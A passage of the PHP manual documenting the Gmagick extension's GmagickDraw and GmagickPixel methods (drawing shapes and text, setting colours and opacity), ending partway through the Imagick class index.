public GmagickDraw rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )
public GmagickDraw rotate ( float $degrees )
public GmagickDraw roundrectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )
public GmagickDraw scale ( float $x , float $y )
public GmagickDraw setfillcolor ( string $color )
public GmagickDraw setfillopacity ( float $fill_opacity )
public GmagickDraw setfont ( string $font )
public GmagickDraw setfontsize ( float $pointsize )
public GmagickDraw setfontstyle ( int $style )
public GmagickDraw setfontweight ( int $weight )
public GmagickDraw setstrokecolor ( GmagickPixel $color )
public GmagickDraw setstrokeopacity ( float $stroke_opacity )
public GmagickDraw setstrokewidth ( float $width )
public GmagickDraw settextdecoration ( int $decoration )
public GmagickDraw settextencoding ( string $encoding )
}

Table of Contents

  • GmagickDraw::annotate — Draws text on the image
  • GmagickDraw::arc — Draws an arc
  • GmagickDraw::bezier — Draws a bezier curve
  • GmagickDraw::ellipse — Draws an ellipse on the image
  • GmagickDraw::getfillcolor — Returns the fill color
  • GmagickDraw::getfillopacity — Returns the opacity used when drawing
  • GmagickDraw::getfont — Returns the font
  • GmagickDraw::getfontsize — Returns the font pointsize
  • GmagickDraw::getfontstyle — Returns the font style
  • GmagickDraw::getfontweight — Returns the font weight
  • GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines
  • GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines
  • GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines
  • GmagickDraw::gettextdecoration — Returns the text decoration
  • GmagickDraw::gettextencoding — Returns the code set used for text annotations
  • GmagickDraw::line — The line purpose
  • GmagickDraw::point — Draws a point
  • GmagickDraw::polygon — Draws a polygon
  • GmagickDraw::polyline — Draws a polyline
  • GmagickDraw::rectangle — Draws a rectangle
  • GmagickDraw::rotate — Applies the specified rotation to the current coordinate space
  • GmagickDraw::roundrectangle — Draws a rounded rectangle
  • GmagickDraw::scale — Adjusts the scaling factor
  • GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects.
  • GmagickDraw::setfillopacity — The setfillopacity purpose
  • GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text.
  • GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text.
  • GmagickDraw::setfontstyle — Sets the font style to use when annotating with text
  • GmagickDraw::setfontweight — Sets the font weight
  • GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines.
  • GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines.
  • GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines.
  • GmagickDraw::settextdecoration — Specifies a decoration
  • GmagickDraw::settextencoding — Specifies the text code set

User Contributed Notes

There are no user contributed notes for this page.


Draws text on the image

  • « GmagickDraw
  • GmagickDraw::arc »
  • PHP Manual
  • GmagickDraw
  • Draws text on the image

GmagickDraw::annotate

(PECL gmagick >= Unknown)

GmagickDraw::annotate — Draws text on the image

Description

public GmagickDraw GmagickDraw::annotate ( float $x , float $y , string $text )

Draws text on the image.

Parameters

x

x ordinate to left of text

y

y ordinate to text baseline

text

text to draw

Return Values

The GmagickDraw object on success.

User Contributed Notes

There are no user contributed notes for this page.


Draws an arc

  • « GmagickDraw::annotate
  • GmagickDraw::bezier »
  • PHP Manual
  • GmagickDraw
  • Draws an arc

GmagickDraw::arc

(PECL gmagick >= Unknown)

GmagickDraw::arc — Draws an arc

Description

public GmagickDraw GmagickDraw::arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )

Draws an arc falling within a specified bounding rectangle on the image.

Parameters

sx

starting x ordinate of bounding rectangle

sy

starting y ordinate of bounding rectangle

ex

ending x ordinate of bounding rectangle

ey

ending y ordinate of bounding rectangle

sd

starting degrees of rotation

ed

ending degrees of rotation

Return Values

The GmagickDraw object on success.

User Contributed Notes

There are no user contributed notes for this page.


Draws a bezier curve

  • « GmagickDraw::arc
  • GmagickDraw::ellipse »
  • PHP Manual
  • GmagickDraw
  • Draws a bezier curve

GmagickDraw::bezier

(PECL gmagick >= Unknown)

GmagickDraw::bezier — Draws a bezier curve

Description

public GmagickDraw GmagickDraw::bezier ( array $coordinate_array )

Draws a bezier curve through a set of points on the image.

Parameters

coordinate_array

Coordinates array

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Draws an ellipse on the image

  • « GmagickDraw::bezier
  • GmagickDraw::getfillcolor »
  • PHP Manual
  • GmagickDraw
  • Draws an ellipse on the image

GmagickDraw::ellipse

(PECL gmagick >= Unknown)

GmagickDraw::ellipse — Draws an ellipse on the image

Description

public GmagickDraw GmagickDraw::ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )

Draws an ellipse on the image.

Parameters

ox

origin x ordinate

oy

origin y ordinate

rx

radius in x

ry

radius in y

start

starting rotation in degrees

end

ending rotation in degrees

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Returns the fill color

  • « GmagickDraw::ellipse
  • GmagickDraw::getfillopacity »
  • PHP Manual
  • GmagickDraw
  • Returns the fill color

GmagickDraw::getfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::getfillcolor — Returns the fill color

Description

public void GmagickDraw::getfillcolor ( void )

Returns the fill color used for drawing filled objects.

Parameters

This function has no parameters.

Return Values

The GmagickPixel fill color used for drawing filled objects.

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity used when drawing

  • « GmagickDraw::getfillcolor
  • GmagickDraw::getfont »
  • PHP Manual
  • GmagickDraw
  • Returns the opacity used when drawing

GmagickDraw::getfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::getfillopacity — Returns the opacity used when drawing

Description

public float GmagickDraw::getfillopacity ( void )

Returns the opacity used when drawing

Parameters

This function has no parameters.

Return Values

Returns the opacity used when drawing using the fill color or fill texture. Fully opaque is 1.0.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font

  • « GmagickDraw::getfillopacity
  • GmagickDraw::getfontsize »
  • PHP Manual
  • GmagickDraw
  • Returns the font

GmagickDraw::getfont

(PECL gmagick >= Unknown)

GmagickDraw::getfont — Returns the font

Description

public string GmagickDraw::getfont ( void )

Returns a string specifying the font used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns a string on success and false if no font is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font pointsize

  • « GmagickDraw::getfont
  • GmagickDraw::getfontstyle »
  • PHP Manual
  • GmagickDraw
  • Returns the font pointsize

GmagickDraw::getfontsize

(PECL gmagick >= Unknown)

GmagickDraw::getfontsize — Returns the font pointsize

Description

public float GmagickDraw::getfontsize ( void )

Returns the font pointsize used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns the font size associated with the current GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font style

  • « GmagickDraw::getfontsize
  • GmagickDraw::getfontweight »
  • PHP Manual
  • GmagickDraw
  • Returns the font style

GmagickDraw::getfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::getfontstyle — Returns the font style

Description

public int GmagickDraw::getfontstyle ( void )

Returns the font style used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns the font style constant (STYLE_) associated with the GmagickDraw object or 0 if no style is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font weight

  • « GmagickDraw::getfontstyle
  • GmagickDraw::getstrokecolor »
  • PHP Manual
  • GmagickDraw
  • Returns the font weight

GmagickDraw::getfontweight

(PECL gmagick >= Unknown)

GmagickDraw::getfontweight — Returns the font weight

Description

public int GmagickDraw::getfontweight ( void )

Returns the font weight used when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns an int on success and 0 if no weight is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color used for stroking object outlines

  • « GmagickDraw::getfontweight
  • GmagickDraw::getstrokeopacity »
  • PHP Manual
  • GmagickDraw
  • Returns the color used for stroking object outlines

GmagickDraw::getstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines

Description

public void GmagickDraw::getstrokecolor ( void )

Returns the color used for stroking object outlines.

Parameters

This function has no parameters.

Return Values

Returns an GmagickPixel object which describes the color

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity of stroked object outlines

  • « GmagickDraw::getstrokecolor
  • GmagickDraw::getstrokewidth »
  • PHP Manual
  • GmagickDraw
  • Returns the opacity of stroked object outlines

GmagickDraw::getstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines

Description

public float GmagickDraw::getstrokeopacity ( void )

Returns the opacity of stroked object outlines.

Parameters

This function has no parameters.

Return Values

Returns a double describing the opacity.

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the stroke used to draw object outlines

  • « GmagickDraw::getstrokeopacity
  • GmagickDraw::gettextdecoration »
  • PHP Manual
  • GmagickDraw
  • Returns the width of the stroke used to draw object outlines

GmagickDraw::getstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines

Description

public float GmagickDraw::getstrokewidth ( void )

Returns the width of the stroke used to draw object outlines.

Parameters

This function has no parameters.

Return Values

Returns a double describing the stroke width.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text decoration

  • « GmagickDraw::getstrokewidth
  • GmagickDraw::gettextencoding »
  • PHP Manual
  • GmagickDraw
  • Returns the text decoration

GmagickDraw::gettextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::gettextdecoration — Returns the text decoration

Description

public int GmagickDraw::gettextdecoration ( void )

Returns the decoration applied when annotating with text.

Parameters

This function has no parameters.

Return Values

Returns one of the DECORATION_ constants and 0 if no decoration is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the code set used for text annotations

  • « GmagickDraw::gettextdecoration
  • GmagickDraw::line »
  • PHP Manual
  • GmagickDraw
  • Returns the code set used for text annotations

GmagickDraw::gettextencoding

(PECL gmagick >= Unknown)

GmagickDraw::gettextencoding — Returns the code set used for text annotations

Description

public string GmagickDraw::gettextencoding ( void )

Returns a string which specifies the code set used for text annotations.

Parameters

This function has no parameters.

Return Values

Returns a string specifying the code set or false if text encoding is not set.

User Contributed Notes

There are no user contributed notes for this page.


The line purpose

  • « GmagickDraw::gettextencoding
  • GmagickDraw::point »
  • PHP Manual
  • GmagickDraw
  • The line purpose

GmagickDraw::line

(PECL gmagick >= Unknown)

GmagickDraw::line — The line purpose

Description

public GmagickDraw GmagickDraw::line ( float $sx , float $sy , float $ex , float $ey )

Draws a line on the image using the current stroke color, stroke opacity, and stroke width.

Parameters

sx

starting x ordinate

sy

starting y ordinate

ex

ending x ordinate

ey

ending y ordinate

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Draws a point

  • « GmagickDraw::line
  • GmagickDraw::polygon »
  • PHP Manual
  • GmagickDraw
  • Draws a point

GmagickDraw::point

(PECL gmagick >= Unknown)

GmagickDraw::point — Draws a point

Description

public GmagickDraw GmagickDraw::point ( float $x , float $y )

Draws a point using the current stroke color and stroke thickness at the specified coordinates.

Parameters

x

target x coordinate

y

target y coordinate

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Draws a polygon

  • « GmagickDraw::point
  • GmagickDraw::polyline »
  • PHP Manual
  • GmagickDraw
  • Draws a polygon

GmagickDraw::polygon

(PECL gmagick >= Unknown)

GmagickDraw::polygon — Draws a polygon

Description

public GmagickDraw GmagickDraw::polygon ( array $coordinates )

Draws a polygon using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinates

coordinate array

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Draws a polyline

  • « GmagickDraw::polygon
  • GmagickDraw::rectangle »
  • PHP Manual
  • GmagickDraw
  • Draws a polyline

GmagickDraw::polyline

(PECL gmagick >= Unknown)

GmagickDraw::polyline — Draws a polyline

Description

public GmagickDraw GmagickDraw::polyline ( array $coordinate_array )

Draws a polyline using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

Parameters

coordinate_array

The array of coordinates

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Draws a rectangle

  • « GmagickDraw::polyline
  • GmagickDraw::rotate »
  • PHP Manual
  • GmagickDraw
  • Draws a rectangle

GmagickDraw::rectangle

(PECL gmagick >= Unknown)

GmagickDraw::rectangle — Draws a rectangle

Description

public GmagickDraw GmagickDraw::rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )

Draws a rectangle given two coordinates and using the current stroke, stroke width, and fill settings.

Parameters

x1

x ordinate of first coordinate

y1

y ordinate of first coordinate

x2

x ordinate of second coordinate

y2

y ordinate of second coordinate

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Applies the specified rotation to the current coordinate space

  • « GmagickDraw::rectangle
  • GmagickDraw::roundrectangle »
  • PHP Manual
  • GmagickDraw
  • Applies the specified rotation to the current coordinate space

GmagickDraw::rotate

(PECL gmagick >= Unknown)

GmagickDraw::rotate — Applies the specified rotation to the current coordinate space

Description

public GmagickDraw GmagickDraw::rotate ( float $degrees )

Applies the specified rotation to the current coordinate space.

Parameters

degrees

degrees of rotation

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Draws a rounded rectangle

  • « GmagickDraw::rotate
  • GmagickDraw::scale »
  • PHP Manual
  • GmagickDraw
  • Draws a rounded rectangle

GmagickDraw::roundrectangle

(PECL gmagick >= Unknown)

GmagickDraw::roundrectangle — Draws a rounded rectangle

Description

public GmagickDraw GmagickDraw::roundrectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )

Draws a rounded rectangle given two coordinates, x and y corner radiuses and using the current stroke, stroke width, and fill settings.

Parameters

x1

x ordinate of first coordinate

y1

y ordinate of first coordinate

x2

x ordinate of second coordinate

y2

y ordinate of second coordinate

rx

radius of corner in horizontal direction

ry

radius of corner in vertical direction

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the scaling factor

  • « GmagickDraw::roundrectangle
  • GmagickDraw::setfillcolor »
  • PHP Manual
  • GmagickDraw
  • Adjusts the scaling factor

GmagickDraw::scale

(PECL gmagick >= Unknown)

GmagickDraw::scale — Adjusts the scaling factor

Description

public GmagickDraw GmagickDraw::scale ( float $x , float $y )

Adjusts the scaling factor to apply in the horizontal and vertical directions to the current coordinate space.

Parameters

x

horizontal scale factor

y

vertical scale factor

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the fill color to be used for drawing filled objects.

  • « GmagickDraw::scale
  • GmagickDraw::setfillopacity »
  • PHP Manual
  • GmagickDraw
  • Sets the fill color to be used for drawing filled objects.

GmagickDraw::setfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects.

Description

public GmagickDraw GmagickDraw::setfillcolor ( string $color )

Sets the fill color to be used for drawing filled objects.

Parameters

color

GmagickPixel indicating color to use for filling.

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


The setfillopacity purpose

  • « GmagickDraw::setfillcolor
  • GmagickDraw::setfont »
  • PHP Manual
  • GmagickDraw
  • The setfillopacity purpose

GmagickDraw::setfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::setfillopacity — The setfillopacity purpose

Description

public GmagickDraw GmagickDraw::setfillopacity ( float $fill_opacity )

Sets the opacity to use when drawing using the fill color or fill texture. Setting it to 1.0 will make fill full opaque.

Parameters

fill_opacity

Fill opacity

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the fully-specified font to use when annotating with text.

  • « GmagickDraw::setfillopacity
  • GmagickDraw::setfontsize »
  • PHP Manual
  • GmagickDraw
  • Sets the fully-specified font to use when annotating with text.

GmagickDraw::setfont

(PECL gmagick >= Unknown)

GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text.

Description

public GmagickDraw GmagickDraw::setfont ( string $font )

Sets the fully-specified font to use when annotating with text

Parameters

font

font name

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the font pointsize to use when annotating with text.

  • « GmagickDraw::setfont
  • GmagickDraw::setfontstyle »
  • PHP Manual
  • GmagickDraw
  • Sets the font pointsize to use when annotating with text.

GmagickDraw::setfontsize

(PECL gmagick >= Unknown)

GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text.

Description

public GmagickDraw GmagickDraw::setfontsize ( float $pointsize )

Sets the font pointsize to use when annotating with text.

Parameters

pointsize

Text pointsize

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the font style to use when annotating with text

  • « GmagickDraw::setfontsize
  • GmagickDraw::setfontweight »
  • PHP Manual
  • GmagickDraw
  • Sets the font style to use when annotating with text

GmagickDraw::setfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::setfontstyle — Sets the font style to use when annotating with text

Description

public GmagickDraw GmagickDraw::setfontstyle ( int $style )

Sets the font style to use when annotating with text. The AnyStyle enumeration acts as a wild-card "don't care" option.

Parameters

style

Font style (NormalStyle, ItalicStyle, ObliqueStyle, AnyStyle)

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the font weight

  • « GmagickDraw::setfontstyle
  • GmagickDraw::setstrokecolor »
  • PHP Manual
  • GmagickDraw
  • Sets the font weight

GmagickDraw::setfontweight

(PECL gmagick >= Unknown)

GmagickDraw::setfontweight — Sets the font weight

Description

public GmagickDraw GmagickDraw::setfontweight ( int $weight )

Sets the font weight to use when annotating with text.

Parameters

weight

Font weight (valid range 100-900)

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the color used for stroking object outlines.

  • « GmagickDraw::setfontweight
  • GmagickDraw::setstrokeopacity »
  • PHP Manual
  • GmagickDraw
  • Sets the color used for stroking object outlines.

GmagickDraw::setstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines.

Description

public GmagickDraw GmagickDraw::setstrokecolor ( GmagickPixel $color )

Sets the color used for stroking object outlines.

Parameters

color

GmagickPixel representing the color for the stroke.

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Specifies the opacity of stroked object outlines.

  • « GmagickDraw::setstrokecolor
  • GmagickDraw::setstrokewidth »
  • PHP Manual
  • GmagickDraw
  • Specifies the opacity of stroked object outlines.

GmagickDraw::setstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines.

Description

public GmagickDraw GmagickDraw::setstrokeopacity ( float $stroke_opacity )

Specifies the opacity of stroked object outlines.

Parameters

stroke_opacity

Stroke opacity. The value 1.0 is opaque.

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the width of the stroke used to draw object outlines.

  • « GmagickDraw::setstrokeopacity
  • GmagickDraw::settextdecoration »
  • PHP Manual
  • GmagickDraw
  • Sets the width of the stroke used to draw object outlines.

GmagickDraw::setstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines.

Description

public GmagickDraw GmagickDraw::setstrokewidth ( float $width )

Sets the width of the stroke used to draw object outlines

Parameters

width

Stroke width

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Specifies a decoration

  • « GmagickDraw::setstrokewidth
  • GmagickDraw::settextencoding »
  • PHP Manual
  • GmagickDraw
  • Specifies a decoration

GmagickDraw::settextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::settextdecoration — Specifies a decoration

Description

public GmagickDraw GmagickDraw::settextdecoration ( int $decoration )

Specifies a decoration to be applied when annotating with text.

Parameters

int

Text decoration. One of NoDecoration, UnderlineDecoration, OverlineDecoration, or LineThroughDecoration

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


Specifies the text code set

  • « GmagickDraw::settextdecoration
  • GmagickPixel »
  • PHP Manual
  • GmagickDraw
  • Specifies the text code set

GmagickDraw::settextencoding

(PECL gmagick >= Unknown)

GmagickDraw::settextencoding — Specifies the text code set

Description

public GmagickDraw GmagickDraw::settextencoding ( string $encoding )

Specifies the code set to use for text annotations. The only character encoding which may be specified at this time is "UTF-8" for representing Unicode as a sequence of bytes. Specify an empty string to set text encoding to the system's default. Successful text annotation using Unicode may require fonts designed to support Unicode.

Parameters

encoding

Character string specifying text encoding

Return Values

The GmagickDraw object on success

User Contributed Notes

There are no user contributed notes for this page.


The GmagickPixel class

(PECL gmagick >= Unknown)

Introduction

Class synopsis

GmagickPixel {
/* Methods */
public __construct ([ string $color ] )
public mixed getcolor ([ bool $as_array [, bool $normalize_array ]] )
public int getcolorcount ( void )
public float getcolorvalue ( int $color )
public GmagickPixel setcolor ( string $color )
public GmagickPixel setcolorvalue ( int $color , float $value )
}

Table of Contents

  • GmagickPixel::__construct — The GmagickPixel constructor
  • GmagickPixel::getcolor — Returns the color
  • GmagickPixel::getcolorcount — Returns the color count associated with this color
  • GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel
  • GmagickPixel::setcolor — Sets the color
  • GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

User Contributed Notes

There are no user contributed notes for this page.


The GmagickPixel constructor

  • « GmagickPixel
  • GmagickPixel::getcolor »
  • PHP Manual
  • GmagickPixel
  • The GmagickPixel constructor

GmagickPixel::__construct

(PECL gmagick >= Unknown)

GmagickPixel::__construct — The GmagickPixel constructor

Description

public GmagickPixel::__construct ([ string $color ] )

Constructs an GmagickPixel object. If a color is specified, the object is constructed and then initialised with that color before being returned.

Parameters

color

The optional color string to use as the initial value of this object.

Return Values

The GmagickPixel object on success.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color

  • « GmagickPixel::__construct
  • GmagickPixel::getcolorcount »
  • PHP Manual
  • GmagickPixel
  • Returns the color

GmagickPixel::getcolor

(PECL gmagick >= Unknown)

GmagickPixel::getcolor — Returns the color

Description

public mixed GmagickPixel::getcolor ([ bool $as_array [, bool $normalize_array ]] )

Returns the color described by the GmagickPixel object, as an array. If the color has an opacity channel set, this is provided as a fourth value in the list.

Parameters

as_array

True to indicate return of array instead of string

normalize_array

Normalize the color values

Return Values

An array of channel values, each normalized if TRUE is given as param. Throws GmagickPixelException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color count associated with this color

  • « GmagickPixel::getcolor
  • GmagickPixel::getcolorvalue »
  • PHP Manual
  • GmagickPixel
  • Returns the color count associated with this color

GmagickPixel::getcolorcount

(PECL gmagick >= Unknown)

GmagickPixel::getcolorcount — Returns the color count associated with this color

Description

public int GmagickPixel::getcolorcount ( void )

Returns the color count associated with this color

Parameters

This function has no parameters.

Return Values

Returns the color count as an integer on success, throws GmagickPixelException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gets the normalized value of the provided color channel

  • « GmagickPixel::getcolorcount
  • GmagickPixel::setcolor »
  • PHP Manual
  • GmagickPixel
  • Gets the normalized value of the provided color channel

GmagickPixel::getcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel

Description

public float GmagickPixel::getcolorvalue ( int $color )

Retrieves the value of the color channel specified, as a floating-point number between 0 and 1.

Parameters

color

The channel to check, specified as one of the Gmagick channel constants.

Return Values

The value of the channel, as a normalized floating-point number, throwing GmagickPixelException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the color

  • « GmagickPixel::getcolorvalue
  • GmagickPixel::setcolorvalue »
  • PHP Manual
  • GmagickPixel
  • Sets the color

GmagickPixel::setcolor

(PECL gmagick >= Unknown)

GmagickPixel::setcolor — Sets the color

Description

public GmagickPixel GmagickPixel::setcolor ( string $color )

Sets the color described by the GmagickPixel object, with a string (e.g. "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)", etc.).

Parameters

color

The color definition to use in order to initialise the GmagickPixel object.

Return Values

The GmagickPixel object on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the normalized value of one of the channels

  • « GmagickPixel::setcolor
  • ImageMagick »
  • PHP Manual
  • GmagickPixel
  • Sets the normalized value of one of the channels

GmagickPixel::setcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

Description

public GmagickPixel GmagickPixel::setcolorvalue ( int $color , float $value )

Sets the value of the specified channel of this object to the provided value, which should be between 0 and 1. This function can be used to provide an opacity channel to a GmagickPixel object.

Parameters

color

One of the Gmagick channel color constants.

value

The value to set this channel to, ranging from 0 to 1.

Return Values

The GmagickPixel object on success.

User Contributed Notes

There are no user contributed notes for this page.


Image Processing (ImageMagick)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Imagick — The Imagick class
    • Imagick::adaptiveBlurImage — Adds adaptive blur filter to image
    • Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation
    • Imagick::adaptiveSharpenImage — Adaptively sharpen the image
    • Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity
    • Imagick::addImage — Adds new image to Imagick object image list
    • Imagick::addNoiseImage — Adds random noise to the image
    • Imagick::affineTransformImage — Transforms an image
    • Imagick::animateImages — Animates an image or images
    • Imagick::annotateImage — Annotates an image with text
    • Imagick::appendImages — Append a set of images
    • Imagick::averageImages — Average a set of images
    • Imagick::blackThresholdImage — Forces all pixels below the threshold into black
    • Imagick::blurImage — Adds blur filter to image
    • Imagick::borderImage — Surrounds the image with a border
    • Imagick::charcoalImage — Simulates a charcoal drawing
    • Imagick::chopImage — Removes a region of an image and trims
    • Imagick::clear — Clears all resources associated to Imagick object
    • Imagick::clipImage — Clips along the first path from the 8BIM profile
    • Imagick::clipPathImage — Clips along the named paths from the 8BIM profile
    • Imagick::clone — Makes an exact copy of the Imagick object
    • Imagick::clutImage — Replaces colors in the image
    • Imagick::coalesceImages — Composites a set of images
    • Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target
    • Imagick::colorizeImage — Blends the fill color with the image
    • Imagick::combineImages — Combines one or more images into a single image
    • Imagick::commentImage — Adds a comment to your image
    • Imagick::compareImageChannels — Returns the difference in one or more images
    • Imagick::compareImageLayers — Returns the maximum bounding region between images
    • Imagick::compareImages — Compares an image to a reconstructed image
    • Imagick::compositeImage — Composite one image onto another
    • Imagick::__construct — The Imagick constructor
    • Imagick::contrastImage — Change the contrast of the image
    • Imagick::contrastStretchImage — Enhances the contrast of a color image
    • Imagick::convolveImage — Applies a custom convolution kernel to the image
    • Imagick::cropImage — Extracts a region of the image
    • Imagick::cropThumbnailImage — Creates a crop thumbnail
    • Imagick::current — Returns a reference to the current Imagick object
    • Imagick::cycleColormapImage — Displaces an image's colormap
    • Imagick::decipherImage — Deciphers an image
    • Imagick::deconstructImages — Returns certain pixel differences between images
    • Imagick::deleteImageArtifact — Delete image artifact
    • Imagick::deskewImage — Removes skew from the image
    • Imagick::despeckleImage — Reduces the speckle noise in an image
    • Imagick::destroy — Destroys the Imagick object
    • Imagick::displayImage — Displays an image
    • Imagick::displayImages — Displays an image or image sequence
    • Imagick::distortImage — Distorts an image using various distortion methods
    • Imagick::drawImage — Renders the ImagickDraw object on the current image
    • Imagick::edgeImage — Enhance edges within the image
    • Imagick::embossImage — Returns a grayscale image with a three-dimensional effect
    • Imagick::encipherImage — Enciphers an image
    • Imagick::enhanceImage — Improves the quality of a noisy image
    • Imagick::equalizeImage — Equalizes the image histogram
    • Imagick::evaluateImage — Applies an expression to an image
    • Imagick::exportImagePixels — Exports raw image pixels
    • Imagick::extentImage — Set image size
    • Imagick::flattenImages — Merges a sequence of images
    • Imagick::flipImage — Creates a vertical mirror image
    • Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target
    • Imagick::flopImage — Creates a horizontal mirror image
    • Imagick::frameImage — Adds a simulated three-dimensional border
    • Imagick::functionImage — Applies a function on the image
    • Imagick::fxImage — Evaluate expression for each pixel in the image
    • Imagick::gammaImage — Gamma-corrects an image
    • Imagick::gaussianBlurImage — Blurs an image
    • Imagick::getColorspace — Gets the colorspace
    • Imagick::getCompression — Gets the object compression type
    • Imagick::getCompressionQuality — Gets the object compression quality
    • Imagick::getCopyright — Returns the ImageMagick API copyright as a string
    • Imagick::getFilename — The filename associated with an image sequence
    • Imagick::getFont — Gets font
    • Imagick::getFormat — Returns the format of the Imagick object
    • Imagick::getGravity — Gets the gravity
    • Imagick::getHomeURL — Returns the ImageMagick home URL
    • Imagick::getImage — Returns a new Imagick object
    • Imagick::getImageAlphaChannel — Gets the image alpha channel
    • Imagick::getImageArtifact — Get image artifact
    • Imagick::getImageBackgroundColor — Returns the image background color
    • Imagick::getImageBlob — Returns the image sequence as a blob
    • Imagick::getImageBluePrimary — Returns the chromaticy blue primary point
    • Imagick::getImageBorderColor — Returns the image border color
    • Imagick::getImageChannelDepth — Gets the depth for a particular image channel
    • Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image
    • Imagick::getImageChannelDistortions — Gets channel distortions
    • Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels
    • Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose
    • Imagick::getImageChannelMean — Gets the mean and standard deviation
    • Imagick::getImageChannelRange — Gets channel range
    • Imagick::getImageChannelStatistics — Returns statistics for each channel in the image
    • Imagick::getImageClipMask — Gets image clip mask
    • Imagick::getImageColormapColor — Returns the color of the specified colormap index
    • Imagick::getImageColors — Gets the number of unique colors in the image
    • Imagick::getImageColorspace — Gets the image colorspace
    • Imagick::getImageCompose — Returns the composite operator associated with the image
    • Imagick::getImageCompression — Gets the current image's compression type
